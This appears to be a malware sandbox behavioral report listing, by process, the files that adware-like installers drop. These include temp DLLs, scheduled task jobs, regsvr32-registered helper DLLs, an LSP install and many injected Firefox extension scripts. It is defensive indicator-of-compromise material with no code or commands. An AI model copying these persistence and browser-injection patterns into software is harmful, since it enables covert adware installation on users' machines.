C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\75OQZIG9.txt (89 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\5.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (5984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\home[1].htm (2911 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\13ca8e322e15bc394d66a37bec12e3b4[1].png (29414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\d586df222f5069b6c396373d67d0163b[1].png (27349 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\0692c2494a7331a77c05954f79c5480a[1].png (10231 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\52d5414e7372639389ab7e9e4d479aee[1].png (27834 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (33010 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\jquery-ui.min[1].js (119811 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\e54e8c720dffffa619c3b0eacec9381a[1].png (3040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ddb3b88cf98eb0220c9e6c252e376749[1].png (13400 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\365640f122ef96f033f2f87c6308031e[1].png (9533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\lightbox[1].js (5015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\btn_bg[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\23428f8768d928d2bd45dd3b0c4d0057[1].png (25985 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\loading[1].gif (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\b85261679e262228a562f693b3e6ef6f[1].png (35166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\1759703220576e41cab39feb18a11b14[1].png (9603 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\59982d8527c0da41e35817e8fc15c0fc[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\7c9d412c730603d1d82b98a548a71bac[1].png (10828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\3.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ace33f0a1eddf74bbe8d1bfac70deded[1].png (10835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\f4e4b853ddab3b763f0af17d513631bd[1].png (20729 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\36d7cd00f07003a67021237993257d08[1].png (10746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\567f43cb72fe3ac6419369953394cadd[1].png (41029 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\product[1].css (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\3.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\4f263f4be4c4396c9078d1874c05b928[1].png (6665 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1QR21C9H.txt (219 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\7fb9f4ca0fa96299334c18ee76c7b68b[1].jpg (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\close[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\logo[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\e94782c9200f8de809a50327879df1cc[1].png (21105 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\da84c206c2019448521379d2ff837774[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\lightbox[1].css (426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\589b1e936e1f038dc45bd8ffff59b359[1].png (21288 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\bbbde9554589bda63791709a6785e0a3[1].png (13530 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\5dbc29649669598ff43174b9ee730008[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\4.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (10535 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\style[1].css (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\58d196b3e886a838d021adc8c8848f1e[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\442a5f30204dd385d17de5848683274f[1].png (18933 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\bg_main[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (1117 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\7e5817bad781bbc2d2e43b350ccb53db[1].png (4804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ac5196fbf245580eee113296dff14d0b[1].png (8840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\jquery.min[2].js (48775 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\logo_illust[1].jpg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\07fce0a4ff78cc7e6376e227f046ce06[1].png (36984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\a64a4b5c68c364d30083fbd0b0363585[1].png (24818 bytes)

The process Twhaovuu.exe:3188 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Tasks\044ba9ad-d071-4924-93f1-321600ec1e76-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\pyejmpbax.dll (13 bytes)
%Program Files% (x86)\SensePlus\044ba9ad-d071-4924-93f1-321600ec1e76-4.exe (9147 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\bqeciu.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\044ba9ad-d071-4924-93f1-321600ec1e76-4.dll (38103 bytes)
%Program Files% (x86)\SensePlus\044ba9ad-d071-4924-93f1-321600ec1e76-5.exe (7385 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\104974 (93063 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd28F4.tmp (592111 bytes)
%Program Files% (x86)\SensePlus\utils.exe (75605 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\System.dll (808 bytes)
C:\Windows\Tasks\044ba9ad-d071-4924-93f1-321600ec1e76-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\edjertv.dll (3730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\nwlioa.dll (30112 bytes)
%Program Files% (x86)\SensePlus\044ba9ad-d071-4924-93f1-321600ec1e76.xpi (2321 bytes)
%Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\130451 (3387 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\qwnqg.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\hmfgwj.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\qsjduyhw.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\utmyveqj.dll (30 bytes)

The process appshat.exe:2528 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp\Wrgdrartol.exe (1356640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp\cngedns.dll (2092 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp\jjfxkflre.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp\Qizsyknq.tmp (398925 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp\fcebyp.dll (23 bytes)

The process %original file name%.exe:2364 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE82D.tmp (5719 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (115 bytes)

The process ins_shopperpro.exe:4012 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnED2D.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnED2D.tmp\setup1.exe (144456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyED1D.tmp (157299 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnED2D.tmp\setup.exe (1606835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnED2D.tmp\NK.lky (16 bytes)

The process regsvr32.exe:3920 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper.dll (409 bytes)

The process regsvr32.exe:2272 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (442 bytes)

The process regsvr32.exe:3680 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper64.dll (491 bytes)

The process regsvr32.exe:3172 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (528 bytes)

The process lspinst.exe:2244 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (435 bytes)

The process lspinst.exe:2484 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (435 bytes)

The process e8cfa312-fa67-431c-a6c1-adcf7585a6ee-4.exe:3740 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4459b62dc5e79a9e1dc0fbec1a0159a2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f613379d10fc538470c569808696b227.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\abc83945d6d7c6453167f8fc2eb8ec17.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\fcba1a51ebe6452913692b839c545584.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7b656622de91ef3c1776db6f41b56761.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ff9531130a8322f0a8c1ff470c7b5820.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\821e2661ebea8715863a8428d7731cbb.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d3fbc796a1444b5d707193d30d4f9844.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d8d454cd9f244ad63aa737e3242ca00b.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5582977747e430fbe5505156ab9e5053.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b4e679f31f53a212262cd52829750c34.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\08445dbafaca7ee86331d09db9d5b887.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\aa7daa775ba089247801263fa91f025b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\951e3c8f06afc8903e9b42e3a6dc1139.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\6db2b84217c210fa8b657951f077562c.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\abe344250c227a99bc1745a867007ff2.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\375.js (685 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\339.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\fab18abe7db19ea528a57eec66516f2f.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fc2099ec1a3e1c4c970f13b1798d360a.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4732a5578daea8ecc31dbc55e4b8ce96.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fb8607014c01a579b959251be79db0e6.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\1dff9c3def0a0cd962448bca03678012.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\107fd749fd221297a4cb43ad5acdbc32.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\379.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f5e47717b4f52bb2d30ad5ee8fa4d82d.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\688b124f17c554e4c624baca713c7e97.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f1c82a4331ed8d63f9a000d840ab8952.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\7ec52323a609384f5d3c48cc41f0ec0c.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\74161456b2f46c981934ff35c66c3099.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\3063959d742aa33c841cc066dad8acfe.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a6548307898f1a60c87291942b199b13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
